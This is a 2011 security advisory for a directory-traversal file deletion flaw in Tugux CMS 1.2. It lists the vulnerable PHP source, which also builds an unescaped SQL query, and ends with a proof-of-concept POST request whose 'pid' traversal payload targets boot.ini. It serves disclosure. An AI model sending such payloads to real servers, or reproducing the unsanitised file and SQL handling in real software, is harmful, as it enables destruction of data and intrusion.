Tugux CMS 1.2 – ‘pid’ Arbitrary File Deletion
Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability Vendor: Tugux Studios Product web page: http://www.tugux.com Affected version: 1.2 Summary: Tugux CMS is a free, open-source content Management system (CMS) and application that powers the entire web. Desc: Input passed to the 'pid' parameter in administrator/delete_page_parse.php is not properly sanitised before being used to delete files. This can be exploited to delete files with the permissions of the web server via directory traversal sequences passed within the 'pid' parameter. ------------------------------------------------------------------------------ /administrator/delete_page_parse.php: ------------------------------------------------------------------------------ 1: <?php 2: ///post form data 3: $id=$_POST['pid']; 4: 5: $pic1 = ("slides/$id/image_01.jpg"); 6: if (file_exists($pic1)) { 7: unlink($pic1); 8: } 9: $dir = "slides/$id"; 10: rmdir($dir); 11: 12: include_once "../scripts/connect_to_mysql.php"; 13: $query = mysqli_query($myConnection, "DELETE FROM pages WHERE id='$id' ") or die (mysqli_error($myConnection)); 14: echo '<table align="center"><tr> <td><div style=" width:300px; margin:auto; border:1px solid #BBB; font-family:Arial, Helvetica, sans-serif; color:#666; text-align:center"> 15: <img src="https://www.exploit-db.com/exploits/17518/images/check.png" width="90" height="87"><br /> 16: Operation completed.Your page has been DELETED.<br /> 17: <a href="https://www.exploit-db.com/exploits/17518/index.php">Click Here to go back</a></div></td></tr></table>'; 18: exit(); 19: ?> ------------------------------------------------------------------------------ Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab Advisory ID: ZSL-2011-5024 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php 02.04.2011 -- POST /tugux/administrator/delete_page_parse.php HTTP/1.1 Host: localhost Proxy-Connection: keep-alive User-Agent: x Content-Length: 175 Cache-Control: max-age=0 Origin: null Content-Type: multipart/form-data; boundary=----x Accept: text/html Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 ------x Content-Disposition: form-data; name="pid" ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini ------x-- |